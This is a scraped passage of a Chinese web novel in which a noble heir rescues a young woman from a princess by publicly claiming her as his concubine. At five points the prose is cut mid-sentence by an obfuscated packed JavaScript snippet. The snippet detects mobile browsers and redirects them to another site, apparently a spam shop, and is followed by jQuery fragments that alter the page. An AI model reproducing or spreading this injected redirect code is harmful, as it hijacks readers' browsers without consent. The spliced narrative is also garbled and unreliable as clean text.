这一巴掌,看似在教训赵珩,实则是打给顾守正和所有围观者看的。 她用一个奴才的颜面,轻巧的撇清了自己强掳的嫌疑,将一切推脱为下人不会办事,意图将大事化小。 永嘉公主这才重新看向顾守正,语气恢复了平淡,却带着一股不容置疑的,属于皇权的压迫感:“顾大人,下人不懂事,办事鲁莽,本宫已代为惩戒。现在,本宫亲自来请姜姑娘,这总可以了吧?莫非顾大人觉得,本宫亲自相邀,也是不合规矩,也需要你京兆府尹批准不成?” 压力如同无形的山峦,再次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868627|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重重的压回到了顾守正和被他护在身后的姜于归这一边。 永嘉公主以退为进,亲自下场,若姜于归再拒绝,便是不识抬举,驳了公主的颜面,后果不堪设想。 街头的空气仿佛凝固的冰,寒冷刺骨。所有目光,或明或暗,或担忧或幸灾乐祸,都聚焦在姜于归身上,等待着她的回答。 这回答,如同等待着一枚会引爆惊雷的引信,将决定后续事态的发展。 永嘉公主唇边勾着猫捉老鼠般的玩味笑意,似乎很享受这种掌控他人命运的感觉。 顾守正眉头紧锁,官袍下的手悄然紧握,脑中飞速思索着破局之法,既要护住姜于归,又不能与公主彻底撕破脸。 而赵珩则是捂着脸,眼神怨恨而期待的看着姜于归,巴不得她拒绝,好看她触怒公主的下场。 姜于归感觉喉咙像是被一只无形的手扼住,发紧,干涩,每一个字都重若千钧,需要在心底反复掂量。 她知道,不管回应是还是不是,都可能落入万劫不复的深渊。 去公主府,无异于羊入虎口,林晏的案子未明,永嘉公主此时找上她,绝无好事。 不去,便是当场打公主的脸,其后果,恐怕比去公主府更糟。 就在她唇瓣微启,那艰难的音节即将冲破喉咙之际—— 哒——哒——哒—— 一阵清晰而沉稳,带着独特韵律的马蹄声,伴随着车轮碾过青石板的均匀咕噜声,由远及近,不疾不徐的打破了这令人窒息的死寂。 这声音并不响亮,却奇异的压过了现场的嘈杂与紧张,吸引了所有人的注意。 众人循声望去,只见一辆通体玄色,仅在边缘处以暗金勾勒云纹的马车,在四名身着藏蓝色劲装,腰佩长刀,气息沉稳内敛的护卫随行下,无声的滑入这片已然拥挤的街面。 马车造型古朴大气,并不如何张扬炫目,但其上悬挂的那个象征着无上权势与地位的荣国公府徽记,一只踏云而行的狻猊,在稀薄的月光与街边摇曳的灯笼光线下,散发着无声而沉重的威压。 马车稳稳停下,车帘被一只骨节分明,白皙修长的手自内掀开。 一道颀长挺拔的身影从容步下。 正是容璟。 35. 第 35 章 他一身墨色暗纹锦袍,外罩同色玄狐裘大氅,墨玉般的发丝以一根简单的白玉簪束起,越发衬得他面如冠玉,气质清贵绝伦,与这混乱的街景格格不入。 他先是目光平静的扫过全场,将剑拔弩张的局势,永嘉公主车驾的奢华,顾守正的凝重,赵珩的狼狈,以及被围在中央,脸色苍白如雪的姜于归,都尽收眼底。 他的眼神深邃无波,仿佛在看一幅与己无关的画卷。 随即,他步履从容的行至永嘉公主马车前,姿态优雅的行了一礼,声音清润如玉,打破了僵局:“容璟见过永嘉公主殿下。” 礼数周全,无可挑剔,让人挑不出丝毫错处。 永嘉公主眼底掠过一丝极淡的讶异,似乎没料到他会出现在此,随即那讶异化为更深的玩味与探究。 她微微颔首,唇边噙着一抹意味不明的笑,开口的称呼还带着些许源自母族远亲关系的熟稔。 “潜玉表弟?真是巧了,什么风把你吹到这偏僻街巷来了?莫非也是听闻此处有热闹可看?” 她刻意加重了热闹二字,语带双关。 容璟直起身,并未直接回答公主带着试探的问话,而是将目光转向一旁孤立无援,脸色苍白,头发有些凌乱的姜于归,不知她是因为站久了寒冷,还是因为极度恐惧而微微发抖。 在所有人惊愕,疑惑,探究的注视下,他做了一個出乎意料的举动。 他抬手,解下自己身上那件价值千金的玄狐裘大氅,那犹带着他体温的,象征着身份与温暖的庇护,极其自然,甚至带着一种不容置喙的亲昵与强势,披在了姜于归单薄颤抖的肩上,并细心的为她系好颈前的丝带,动作流畅而专注,仿佛在做一件再寻常不过的事情。 那玄狐裘披风对于姜于归纤细的身形而言过于宽大,几乎将她整个人都裹了进去,厚重的绒毛衬得她那张失了血色的小脸愈发楚楚可怜,也愈发凸显了两人之间亲密的关系。 披风上清冷的松木香气,混合着容璟身上特有的,淡雅而矜贵的气息,瞬间将姜于归紧紧包裹。 “冬日严寒,站了这许久,仔细冻着了。” 容璟低声对姜于归说,语气平淡自然,听不出太多情绪,却像是在呵护一件易碎的,属于他自己的珍宝。 肩膀上突如其来的重量和暖意,像一道微弱的电流,穿透了姜于归被恐惧冻僵的神经,让她猛然一僵。 她难以置信的抬起头,睫毛颤抖着,撞入容璟那深不见底,如同古井寒潭的眼眸。 而他的眼眸之中,没有怜惜,没有温柔,甚至没有明显的情绪波动,依旧是那副平静无波的样子。 仿佛刚才那个近乎呵护的举动,只是他随心所欲的一个念头,理所当然,无需解释。 容璟甚至微微倾身,修长的指尖在她颈前细致的调整着丝带,那微凉的指尖不经意间擦过姜于归下颌细腻的皮肤,带来一阵她无法控制的,带着惊惧与陌生感的颤栗。 姜于归只觉得今日发生的事情太过突然,太过荒谬,一波未平一波又起,让她此刻脑中一片空白,根本无法思考容璟此举的深意。 容璟做完这一切,才仿佛终于解决了什么小事般,重新面向永嘉公主,唇边漾开一抹浅淡而疏离的笑意,仿佛刚才那个带着强烈占有意味的动作从未发生。 “公主殿下身份尊贵,凤驾亲临这市井街巷,已是难得。于归能得殿下青眼,欲邀其过府做客,是她的福分。” 他话锋一转,语气依旧温和有礼,却带着一种不容置疑的,坚定的力量,如同绵里藏针:“只是,拜见殿下,礼不可废。如此仓促随性,既是对殿下的不敬,也显得我荣国公府失了待客之道与应有的礼数。不若待他日,容璟备好正式拜帖与相应仪程,再亲自携于归过府拜谒,向殿下请安,方显郑重,也全了礼法规矩。” 永嘉公主脸上的笑容彻底淡了下去,如同面具剥落,露出底下冰冷的底色。 容璟这番话,听着是谦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868628|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恭有礼,处处为公主的声誉和规矩着想,实则是在用礼数这顶无可指摘的大帽子,将她即刻带人的要求不动声色的,却又坚决无比的顶了回来。 他巧妙的将姜于归划归到了荣国公府的范畴,暗示她的行为关乎国公府颜面,而非一介民女的个人意愿。 永嘉公主戴着宝石戒指的手指,有一下没一下的轻轻敲击着镶嵌着象牙的车窗边框,发出笃笃笃的轻响,在重新陷入寂静的夜里格外清晰,透露出她内心的不悦。 再次开口,她也将最初那带着亲戚意味的潜玉表弟的称呼,悄然转换为了较为生冷,强调身份的容世子。 “容世子言重了。” 她语气带着一丝不易察觉的冷意,如同冰层下的暗流:“本宫不过是一时兴起,觉得与姜姑娘投缘,想请她过府说几句体己话罢了,何需弄得如此夸张正式?这般兴师动众,反倒失了趣味,显得生分了。容世子这般拘泥礼数,倒让本宫觉得,你我之间,何时变得如此见外了?” 她试图将事情拉回私人兴致的范畴,暗指容璟小题大做,不顾及彼此的情分。 然而,容璟却并未顺势而下接受她这套说辞。 他微微侧身,再次看向被他宽大披风紧紧包裹,显得愈发娇小脆弱的姜于归,眼神深邃难辨,语气却清晰的,一字一句的传入在场每一个人的耳中,如同在平静的湖面投下了一块巨石。 “公主殿下此言差矣,正因是殿下金枝玉叶之躯,身份非同一般,殿下相邀,才更不可怠慢,需以最高礼数相待。何况——” 容璟顿了顿,目光重新迎上永嘉公主那双已然蕴起风暴的凤眸,声音平稳依旧,却带着一种斩钉截铁的,如同宣誓主权般的力度。 “于归既已是容璟的人,她的一言一行,便代表着荣国公府的颜面。若她因礼数不周而冒犯了殿下,或是让旁人看了笑话,丢的,是容璟的脸,亦是整个荣国公府的脸面。容璟,不得不谨慎。” “你——的人?” 36. 第 36 章 永嘉公主几乎是下意识的,带着一丝尖锐的诧异重复了一遍这三个字,凤眸瞬间睁大,闪过一丝难以置信的惊愕,随即那惊愕便被一股被冒犯,被挑衅的汹涌怒意所取代。 她甚至微微向前倾了倾身子,凤眸眯起,仿佛要确认自己是否听错,又像是要将容璟脸上每一丝表情都看得清清楚楚。 不仅是她,一旁的京兆府尹顾守正瞳孔微缩,持刀护卫的指节下意识收紧,泄露了他们内心的震动。 赵珩捂着脸,眼中满是骇然与不可思议,目光在容璟和姜于归之间来回扫视,仿佛听到了什么天方夜谭。 就连容璟自己的护卫与永嘉公主的随从们,也都面面相觑,难掩震惊。 谁人不知荣国公世子容潜玉光风霁月,虽然温润如玉,却不近女色,身边何时竟有了这样一个如花美眷?还是以如此突兀,如此强势的方式公之于众。 而被那件宽大厚重,带着陌生男子气息的披风紧紧包裹着的姜于归,更是浑身猛的一僵,仿佛被一道九天惊雷直直劈中天灵盖,四肢百骸都在瞬间失去了知觉。 她倏然抬头,看向容璟近在咫尺的,线条优美的侧脸轮廓,眼中充满了极致的震惊,茫然,以及巨大的荒谬感。 他怎么能......他怎么可以如此面不改色的,如此信口雌黄! 她与他之间清清白白,除了那份他因林晏之托而施予的,让她感激又带着压力的照顾之外,何来他的人一说? 这无异于当众玷污她的名节!将她置于一个无比尴尬,无比卑微的境地! 这简直是无稽之谈!是赤裸裸的谎言! 姜于归几乎能想象到,从这一刻起,在在场所有人眼中,在即将传遍上京的流言蜚语里,她将不再是那个为了替蒙冤好友奔走,勇敢坚韧的姜于归,而只是荣国公世子容璟不知何时收入囊中的,一个见不得光的,连名分都需要他当众恩赐与承认的附属品,玩物! 怒火与屈辱交织,让她几乎要控制不住的颤抖。她下意识的就想开口否认,嘴唇微微颤动,那反驳的话语几乎要冲口而出。 不!我不是! 然而,就在即将开口之际,姜于归的目光不经意间扫过了永嘉公主那冰冷而充满审视的眼神,扫过了赵珩那怨毒而期待她触怒公主的眼神,也扫过了顾守正那带着担忧与暗示她慎重的眼神。 电光火石间,一个冰冷的事实砸中了她的理智。 否认?然后呢? 永嘉公主那双凤眸中的怒火几乎要喷薄而出,那不仅仅是因为容璟的阻拦,更深层的是被挑衅了权威的震怒。 如果她现在否认,就等于当场打了容璟的脸,将这位刚刚站出来维护她的世子爷也推到了对立面。 这不仅会立刻将容璟置于尴尬境地,得罪这个目前唯一可能护住她的势力,更会彻底撕破永嘉公主那层勉强维持的做客伪装,让她再无顾忌,可以名正言顺的以涉嫌钦犯等任何理由,强行将她带走。 届时,顾守正也再难阻拦。 届时,她将彻底孤立无援。 而容璟,未必会再出手救一个当众让他下不来台的不识抬举之人。 姜于归瞬间明白了容璟的用意。 容璟这是在众目睽睽之下,为她撑起的最强硬,也最直接的一道保护伞。 否认,就是自寻死路。 否认了容璟给的这层保护色,清白有了,但随即而来的,是她将立刻暴露在永嘉公主的权势之下。 容璟可以凭借自己人的身份强行介入,以家事,府内规矩为由将她带走。可若她否认了这层关系,容璟还有什么立场从一位公主手中保下她这个毫无瓜葛的民女? 顾守正或许能依律法暂时护她,但能护多久?能抵挡得住公主事后的怒火与报复吗? 这看似屈辱的身份,在此刻,竟成了姜于归唯一可能脱身的救命稻草。 清白名节? 这个词在她脑中一闪而过,随即被她心底一丝来自现代灵魂的冷嗤压下。 她很清楚在生死存亡面前,虚无缥缈的名节是最可以先搁置一边的东西。 活着,才有机会谈其他,死了,就真的什么都没了。 电光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868629|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 石火之间,利弊已然清晰。 意识到这一点,一股深切的无力与悲哀如同冰水般浇熄了她心头的怒火,只剩下透骨的寒。 她张开的嘴唇,就那样僵住了,最终,那否认的话语,被她死死的,艰难的咽了回去,化作喉间一股难以言喻的苦涩。 姜于归垂下眼睫,避开了容璟的视线,也避开了所有人探究的目光。 她选择了沉默,这沉默,在永嘉公主和所有人看来,无异于一种默认。 容璟将姜于归那一瞬间的挣扎与最终的沉默尽收眼底,他深邃的眼底极快的掠过一丝几不可查的,如同捕获了心仪猎物般的满意暗芒。 很好,姜于归很识趣的做出了正确的选择。 而这份在危机中的识趣,让容璟心中的某种决定更加坚定。 “没错,她是我的侍妾。” 容璟重新看向永嘉公主,语气依旧从容,却带着一种尘埃落定的笃定,仿佛在陈述一个毋庸置疑的事实。 “看来公主殿下已经明白了,既然如此,夜色已深,于归也受了惊吓,容璟便先带她回府安置了。改日必当备厚礼,携她登门向殿下致歉今日之扰。” 他这番话,客气中带着不容拒绝的强势,直接将带走姜于归变成了既定事项。 “侍妾......” 永嘉公主重复着这两个字,姣好的面容上像是覆盖了一层寒霜,声音里带着一种荒谬的冷意。 随即,她像是被彻底激怒,猛的抬手指向姜于归,声音冷厉如刀:“慢着!” 她嗤笑一声,目光如淬毒的针般刺向始终低着头的姜于归,抓住了最明显的破绽:“若她真是你的人,为何频频出入那晦气的慕容府?本宫看,她与那林宴的关系,怕是比你更密切些吧?这才是你今夜如此大动干戈的真正原因吧?容世子,你可别被某些别有用心的人当了枪使!” 此言一出,气氛愈发紧绷,几乎能听到弓弦拉满的吱嘎声。 这才是最致命的一击,直指姜于归与钦犯的关联,试图将容璟的行为定义为被美色所惑,甚至是被利用。 37. 第 37 章 然而,容璟停下脚步,神色未有半分动摇,他甚至极淡的笑了一下,那笑意带着一丝对过往情谊的怀念与无奈,完美的掩饰了眼底一闪而过的冰冷。 他声音清润,却清晰的传入每个人耳中,带着一种引导众人思绪的魔力:“想来公主殿下是知道的,我与林宴,自幼一同在宫中伴读,一同在书院求学,虽非血亲,却情同手足。他如今身陷囹圄,前途未卜,我心中之焦虑痛心,难以言表。这些......于归她是知道的。” 容璟顿了一下,目光极其自然的,温柔掠过低垂着头的姜于归,那眼神中的缱绻与信任,几乎要让姜于归自己都产生错觉。 他言语间,描绘出一种旁人从未想象过的,属于他容璟的私密情感世界。 “于归她......明白我为挚友担忧的烦恼,更深知我身为男子,有些体己话不便与林家二老细说,怕言辞不当,反而勾起老人更多伤心,雪上加霜。” 说到这里,容璟的语气带着恰到好处的沉重,随即转为一种带着赞许与爱重的轻柔。 “故而她才时常主动替我去探望,宽慰二老,是为我分忧,也是代我尽一份朋友之义。她总是这般善解人意,体谅我的难处。” 这番说辞,情理兼备,无懈可击。 不仅完美解释了姜于归频繁出入慕容府的行为,将她与林晏的关系巧妙的扭转成了为容璟分忧,更是在众人面前,精心塑造了一个深情,体贴,识大体,且与容璟彼此理解,恩爱与共的侍妾形象。 甚至,还为他容璟博得了一个重情重义的美名。 所有人都被震住了,尤其是那句亲昵自然,饱含情意的于归,更是如同重锤,狠狠敲在每个人心上,坐实了两人关系匪浅。 那个向来不近女色,冷情寡欲,仿佛不食人间烟火的容世子,原来私底下竟是这般模样?竟会对一个女子如此维护,如此......情深意重? 永嘉公主被这番滴水不漏,甚至倒打一耙的言辞堵得胸口发闷,一股郁气无处发泄。 她知道容璟一定是在撒谎,这完美的逻辑背后定然隐藏着不可告人的目的,可她偏偏找不到任何破绽来当场戳穿。 难道要她一个公主,去深入探究一个臣子与其侍妾之间的私密情话和家务事吗? 她盯着容璟,姣好的面容上最后一点伪装的平和也终于碎裂,声音压低,带着冰冷的威胁和毫不掩饰的暗示,一字一句的,如同毒蛇吐信。 “容世子,为了一个身份低微的女子,这般追查慕容琛的案子,今夜更是执意拂本宫的脸面......你可是想清楚了,这便算是......做出选择了?” 选择二字,重若千钧,在寂静的夜空中回荡,带着血腥的气息。 一直旁听的顾守正听到此处,心头巨震,额角瞬间沁出冷汗。 他像是察觉什么,立刻深深的低下头去,恨不得将耳朵堵上,不敢再听。 这已不再是简单的冲突,而是涉及最高权力层面的站队,是太子与睿王两大集团赤裸裸的角力,一言不慎,便是万劫不复的深渊。 赵珩与其他护卫更是屏住呼吸,连大气都不敢喘,只求自己是个聋子瞎子,什么都不知道。 场中唯有不明就里,对朝堂风云知之甚少的姜于归,还在努力消化着这复杂的信息,听得格外认真,试图从中找出关于林晏案的蛛丝马迹。 面对这赤裸裸的质问,容璟脸上的温和笑意却丝毫未变,他甚至还能维持着那份令人心悸的从容,带着几分恰到好处的疑惑,微微颔首,语气恭谨而疏离。 他迎着永嘉那几乎要将他剥皮拆骨的冰冷目光,声音清晰坚定的回荡在寂静的街头:“公主殿下的话,请恕容璟愚钝,实在听不明白。容璟行事,向来只论情理法度。今日之事,起因乃是维护我府中人的体面与安危,过程亦是遵循朝廷法纪,不忍见天子脚下,发生当街强掳民女之恶行。至于其他......” 说到这里,容璟微微一顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868630|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,而后语气斩钉截铁,带着不容置疑的忠诚与纯粹,仿佛在向着无形的皇权宣誓:“容璟从来都只是陛下的臣子。心中所向,唯有陛下,唯有朝廷法度。除此之外,别无他想,亦不敢想。” 此言一出,万籁俱寂。 寒风似乎都在这一刻凝滞,他将自己的行为拔高到了维护法纪与绝对忠于陛下的高度,巧妙的回避了太子或睿王的站队问题,将自己置于绝对的道德和法律制高点,彻底堵死了永嘉公主将此事定性为党争站队的企图。 既保全了姜于归,又未授人以任何政治上的把柄,将自己稳稳的置于不败之地。 这份急智与深沉的心机,让顾守正都暗自倒吸一口凉气。 永嘉公主看着他,凤眸中的怒火与冰寒交织变幻。 她像是第一次真正看清眼前这个年轻男人一般,上下打量着他,又看了看被他牢牢护在身后,裹在他那件象征权势与地位的玄狐裘披风里的姜于归,随即,她又想到了自己那个痴心一片的妹妹永福。 一股被冒犯,被轻视,被羞辱的怒火,混合着对妹妹的心疼,猛的冲上心头,几乎要烧毁她的理智。 她那个傻妹妹,金枝玉叶的永福公主,一颗心全都系在容璟身上,多少次明里暗里的示意,甚至放下身段央求她这个姐姐出面撮合,却一次次被容璟以各种温和谦逊,不敢高攀,恐玷污公主清誉的理由,不着痕迹的,体面的推拒开来。 永嘉一直以为容璟是顾忌君臣之分,或者心性高远,不愿尚主被束缚,失了前程。 可现在!他居然当着她的面,为了一个来历不明,与钦犯牵扯不清,除了一张脸几乎一无是处的民女,如此大动干戈,甚至不惜与她这个最得圣宠的公主正面冲突,并当众宣布,这个女子是他的侍妾! 为了这样一个女子,他曾经频频拒绝了她尊贵的公主妹妹? 永福哪一点比不上这个姜于归? 这简直是对皇家颜面的赤裸践踏!是对永福的莫大羞辱! 38. 第 38 章 永嘉公主的声音冷得能掉下冰渣,每一个字都像是从牙缝里挤出来的,带着彻骨的寒意和无边的怨毒:“容世子你倒是藏得深啊。为了这么一位......佳人,连本宫那妹妹的心意,都忍心辜负了?” 这话已是极其严重的质问,几乎点破了永福公主对容璟的情意,以及容璟的不识抬举。 场面瞬间变得更加紧张,空气仿佛凝固成了实质,压得人喘不过气。 永嘉公主身后的护卫手已紧紧按上了刀柄,眼神凶狠。 容璟的护卫也悄然调整了站位,肌肉紧绷,气氛剑拔弩张,一触即发。 然而,处于风暴最中心的容璟,却依旧是一派令人心悸的平静,他甚至没有直接回应永嘉公主关于永福公主的询问,仿佛那是一件无关紧要,不值一提的小事。 他只是微微侧过头,伸出手,在众目睽睽之下,再次极其自然的为姜于归理了理披风前襟那并不凌乱的丝带。 他的动作轻柔又专注,指尖划过光滑的绸缎,带着一种旁若无人的亲昵与珍视,仿佛眼前只有这个被他冠以侍妾之名的女子,周遭的刀光剑影,公主的雷霆之怒,乃至可能随之而来的腥风血雨,都与他无关。 这个动作,比任何言语都更具杀伤力,也更具侮辱性,他用自己的行动,无声的向永嘉公主,向所有人,宣告着姜于归在他心中的分量,宣告着永福公主在他心中的无足轻重。 容璟终于抬眸,目光平静的迎上永嘉公主几乎要喷出火来的视线,语气依旧温和,却带着一种不容侵犯的疏离与坚定。 “殿下说下了,容璟的心很小,既已装下一人,便再容不下其他。于归虽出身不高,但既跟了我,我自当护她周全,不让她受半分委屈。今日之事,若有冲撞殿下之处,容璟在此赔罪。改日,必当备足厚礼,携于归登门,向殿下致歉。” 他这番话,看似谦恭赔罪,实则寸步不让。 不仅再次坐实了姜于归的身份,明确而彻底的拒绝了永福公主的心意,更是将护她周全的立场,毫不退缩的摆在了明面上,甚至带着一丝若有若无的警告。 任何人,哪怕是公主,若想动姜于归,便是与他容璟为敌。 永嘉公主胸口剧烈起伏,凤眸中的怒火几乎要化为实质,将眼前这对狗男女烧成灰烬。 她死死盯着容璟,又狠狠剐了始终低着头的姜于归一眼,那眼神中的怨毒,几乎要凝成实质。 她知道,今日有容璟如此强硬,甚至不惜撕破脸皮的态度,再想强行带走姜于归已是不可能。 除非她真的打算在此地与荣国公府彻底撕破脸,动用武力。 但那后果,即便是她,也难以承受。 良久,她才从牙缝里挤出一声冰冷的,带着无尽恨意的冷笑:“好,好一个既已装下一人,便再容不下其他!容世子,本宫今日,算是见识了!” 她猛的甩下车帘,厚重的锦缎发出“啪——”的一声脆响,彻底隔绝了外界的所有视线,只留下她冰冷刺骨的声音从车内传出:“回府!” 赵珩等人如蒙大赦,又心有不甘,面带屈辱的瞪了容璟和姜于归一眼,慌忙簇拥着公主那华丽却显得有些灰溜溜的马车,迅速离去,仿佛身后有恶鬼追赶。 转眼间,之前还拥挤不堪,气氛紧张的街面,只剩下容璟,姜于归,顾守正以及双方护卫。 顾守正神色复杂的看了容璟一眼,目光中带着一丝不易察觉的钦佩与更深沉的忌惮,又看了看被他紧紧护着,依旧裹在宽大披风里的姜于归,心中了然,亦有些唏嘘。 他拱了拱手,语气谨慎:“既然容世子已至,想必姜......姑娘安全无虞,下官职责已尽,就此告辞。” 他刻意回避了侍妾或是姜姨娘这个此刻显得格外敏感且意味深长的称呼。 容璟微微颔首,语气恢复了一贯的温和:“有劳顾大人及时赶到,主持公道,改日容某再登门致谢。” “世子言重,分内之事。” 顾守正不再多言,带着一众同样松了口气的衙役,转身匆匆离去,仿佛也不想在这是非之地多留片刻。 待永嘉公主的车驾,与顾守正等人的身影彻底消失在长街尽头,灯笼的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868631|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光晕模糊不见,方才那令人窒息的紧绷气氛骤然松弛,但取而代之的,是一种更显诡异的,弥漫在容璟与姜于归之间的寂静。 空旷的街头,只剩下呼啸而过的寒风,卷起地上的零星积雪,以及面对面站立的两人。 身上那件过于宽大的玄色狐裘披风,此刻仿佛有千斤重,上面残留的,属于容璟的清冷气息和体温,变成了一种难以忍受的灼热与束缚。 姜于归几乎是下意识的,立刻向旁侧退开一步,动作迅捷的脱离了容璟身侧那片无形的,带着强烈占有意味的笼罩范围。 刚才被紧张情绪压下的所有尴尬,窘迫,此刻如同潮水般涌上心头,她才有些反应过来刚才究竟发生了什么。 她,姜于归,在众目睽睽之下,被冠以了容璟侍妾的名头。 姜于归手忙脚乱的伸手去解领口的丝带,因为心绪剧烈起伏,手指竟有些不听使唤的微颤,解了好几下才将那系得并不紧的活结打开。 “穿着吧。” 容璟的声音响起,平静无波,却带着一种不容置疑的意味,阻止了姜于归想要脱下披风的动作。 姜于归的动作僵住,抬头看向他,夜色中,他的面容一半隐在阴影里,一半被灯笼映照得有些模糊,唯有那双深邃的眼眸,清晰的倒映着她有些仓皇的身影。 他补充了一句,语气平淡得像是在陈述一个客观事实,随即转身,率先向着国公府的方向走去:“夜深露重,寒气侵体,我们回去吧。” 他低声说,那语气自然得仿佛他们真的就是一对普通的夫妻,妻子在外受了惊吓,丈夫前来解围并带她回家。 可是那平淡语气下蕴含的,不容反驳的绝对掌控力,却清晰的告诉姜于归,这只是在陈述一个既定事实,而非与她商量。 姜于归看着他的背影,踌躇了片刻,她很想立刻将这件披风还给他,划清界限,但深夜的寒风确实刺骨,加上刚才精神紧绷后背被汗水打湿,此刻一松懈,立刻感到寒意透体。 她咬了咬下唇,最终还是默默拉紧了披风,低着头,跟在他身后几步远的地方。 39. 第 39 章 上了马车,车门关上的瞬间,隔绝了外界的一切,也仿佛抽走了姜于归最后一丝强撑的力气。 她缩到车厢最远的角落,尽可能拉大与容璟的距离,同时再次伸手想要扯掉身上那件让她感到无比窒息和屈辱的玄狐裘披风。 “别动。” 容璟的声音再次响起,不大,甚至称得上温和,却带着一种奇异的,直抵人心的穿透力和威压,让姜于归的动作瞬间僵住。 她抬头看向他,带着一丝被惊吓到的警惕和不解。 他的表情平静无波,甚至唇角还带着一丝惯有的,令人如沐春风的温和浅笑,仿佛刚才在街上那个强势宣告主权,与公主针锋相对,几乎颠覆她人生的男人,不是他。 他语气平淡的解释,目光落在她依旧有些苍白的脸上,仿佛真的只是在关心她的身体:“待会儿下了马车,外面天寒,你骤然脱了披风,容易感染风寒。回到府中,暖和过来再脱不迟。” 容璟的理由无懈可击,充满了体贴,可姜于归却觉得浑身不自在,那披风如同长满了无形的刺,扎得她坐立难安。 “可是——” “这么冷的天,若是冻生病了可不好,若是将来林晏知道,怕是会责怪我没有照顾好你。” 容璟又提起了林晏,姜于归只好把手放回去。 随后,尴尬与沉默在车厢内弥漫。 姜于归不知道该说什么,似乎无论说什么,在此刻这种诡异的气氛下,都显得不合时宜。 她只能紧紧抿着唇,将头扭向车窗的方向,尽管厚重的帘幕隔绝了外面的景象,她依然固执的看着,仿佛那样就能逃离这令人窒息的尴尬。 容璟也没有再开口,他慵懒的靠在柔软的车垫上,半阖着眼眸,似在养神,唯有指尖在膝盖上极轻的,有节奏的敲击着,显示着他并非表面看起来那般平静。 他的目光偶尔会掠过蜷缩在角落里的姜于归,看着她像一只受惊后竖起全身尖刺的小兽,眼底深处便会掠过一丝难以察觉的幽光。 马车在寂静中行驶,最终稳稳的停在了荣国公府内院的书房前。 车停稳,姜于归立刻道:“我快些回房,不会着凉的!” 说罢,再次准备脱下披风下车,却被容璟一个眼神制止,姜于归只能讪讪的收回了动作。 容璟率先下车,然后站在车边,伸出手,做出要扶她的姿态。 姜于归看着他那骨节分明,显得格外修长干净的手,犹豫了一下。 “多谢世子,不过不必了。”姜于归小声的说。 最终还是避开了他的搀扶,自己提着有些繁复的裙摆,略显笨拙的跳下了马车。 容璟也没有恼怒,随后带着不容置疑的语气开口:“跟我进来。” 说完,他不再看她,转身便朝着书房走去。 姜于归看着容璟挺拔冷硬的背影,又看了看周围虽然垂首肃立,但显然可能看到她的下人,脸上一阵滚烫。 她实在担心被下人看到她身上穿着容璟的披风,会坐实了那些流言蜚语,恨不得立刻将这证据销毁,立刻回到自己那方小天地躲起来。 但想到容璟可能又会说的话,姜于归只得硬着头皮,拉紧了披风,将那过于宽大的衣袍尽力裹紧,低着头,快步跟在他身后,只求这段路快点走完。 然而容璟的步伐却并不快,甚至称得上从容不迫,仿佛在散步。 他走得慢,姜于归也不敢超过他,只能跟在他身后,感受着沿途可能存在的,各种或好奇或探究的目光,如芒在背。 终于到了书房门口,长青无声的打开门,垂首侍立一旁。 容璟迈步进去,姜于归犹豫了一下,也跟了进去。 书房内温暖如春,炭火盆烧得正旺,驱散了从外面带来的所有寒意。 一进门,姜于归再也忍不住,立刻动手,迅速解开了披风的系带,仿佛卸下千斤重担般,将那件犹带着她体温和一丝若有若无清冽气息的玄狐裘披风双手捧着,递到容璟面前。 